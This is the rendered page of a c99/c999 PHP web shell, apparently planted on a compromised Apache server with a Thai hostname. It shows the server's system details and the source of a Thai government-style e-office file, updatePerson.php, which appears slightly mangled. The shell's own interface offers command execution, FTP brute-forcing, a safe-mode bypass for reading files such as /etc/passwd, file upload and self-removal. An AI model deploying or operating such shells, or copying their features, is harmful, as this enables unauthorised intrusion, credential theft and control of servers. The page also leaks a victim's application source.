!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     updatePerson.php (4.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$maxdate $oDP3->MaxDate();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">จัดการข้อมูลบุคลากรและโครงสร้าง</a>
     <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ปรับปรุงข้อมูลบุคลากร(เมื่อมีการแก้ไข เพิ่มเติม ในระบบบุคลากรทุกครั้ง)</font></legend>
      <table border="0" align="center" width="100%"><tr><td align="center"><br>
    <form name="ff" action="processUpdatePerson.php" method="post">
       <input type="hidden" name="method" value="updatePerson">
       <input type="submit" name="updatePerson" value="ปรับปรุงข้อมูลบุคลากร" onClick='return checkFormat();'>
     </form>
<? if($s==1){ ?>    
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            ปรับปรุงข้อมูลบุคลากรเรียบร้อยแล้ว</strong></font> 
<?  ?>
            <br><br>
            <table width="100%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0" >
                        <tr>
                            <td valign="top">
                    <label><div align="center">
                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>โครงสร้างเพื่อการส่งหนังสือในระบบสารบรรณ&nbsp;<?  if($maxdate !='0000-00-00'){   echo "<br>วันที่ยืนยันการใช้งาน&nbsp;".abbreDate(splitDateDb2($maxdate,'/'))." (โครงสร้างปัจจุบัน)"; } ?></b></font>
                    <?
                    $oT 
= new clsTable(array("ส่วนราชการภายใน"));
                    
$oT->bgColor="#CCCCCC";
                    
$oT->align="center";
                    
$oDP2->searchdeptDate($maxdate);
                    
$rw=0;
                    while (
$oDP2->GetRecord()){
                        
ShowDeptM($oDP2->deptId);        
                    }
                    
                    
$oT->rowStart("","#ffffff");
                    
$oT->rowEnd();
                    
                    echo 
"<form name=ps method=post>";
                    echo 
"<input type=hidden name=method value=''>";
                    echo 
"<input type=hidden name=startyear value=''>";
                    echo 
$oT->output();
                    echo 
"</form>";                    
                    
?>
                    </div></td>
                        </tr>
                    </table>
      </td></tr></table>
      
</fieldset>
         <table width="704" border="0" align="center">
        <tr> 
          <td width="76"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ตัวเลขที่อยู่ใน 
            () หมายถึงจำนวนบุคลากรที่สังกัด</font></td>
        </tr>
        <tr> 
          <td><p>&nbsp;</p></td>
          <td><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/file_find.gif" alt=""  border="0" >&nbsp;คลิกเพื่อดูรายละเอียดรายชื่อบุคลากร</font></td>
        </tr>
      </table> <br><br>
<br><br> <br><br>
</td>
</tr>
</table>
</body>
</html>
<?
function ShowDeptM($deptId){
                        global 
$oC;
                        global 
$oT;
                        global 
$Str;
                        global 
$rw;

                        
$oPS = new person($oC);
                        
$oDp  = new Department($oC);
                        
$oDp->SearchByKey($deptId);
                        
$oDp->GetRecord();
                        
                        if (
$oDp->deptLevel%2==0){                            
                            
$bs="<b>";    
                            
$be="</b>";    
                        }
                        
$lv =  $oDp->deptLevel+1;              
                        
$c=$oPS->CountPersonDept($oDp->deptId);
                        if(
$c!="" && $c!=0){   $showps="<img src=../picture/file_find.gif alt=ดูโครงสร้างเพื่อการส่งหนังสือในระบบสารบรรณ  border=0 style=cursor:pointer onclick=popup($oDp->deptId)>";}else{  $showps="";}
                        
$oT->addRow(array(str_repeat("<img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif>"$oDp->deptLevel*2). $bs ."   ".$oDp->deptName." (".a2th($c).")&nbsp;$showps"$be));
                        
$oDp->RSmenuByDeptParent3($deptId);
                        while (
$oDp->GetRecord()){
                            
ShowDeptM($oDp->deptId);
                        }
                    } 
    
?>
<script language="javascript">
function checkFormat(){
        var agree=confirm("คุณต้องการปรับปรุงข้อมูลบุคลากรใช่หรือไม่ ?");
        if (agree){
            return true ;
        }else{
            return false ;
        }    
}

 function popup(p){     
window.open("showpstable.php?deptId="+p,'loaddorder','toolbar=0, scrollbars=1, location=0, statusbar=0, menubar=0, resizable=1, width=500, height=400, left = 600, top = 150');
 }
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0134 ]--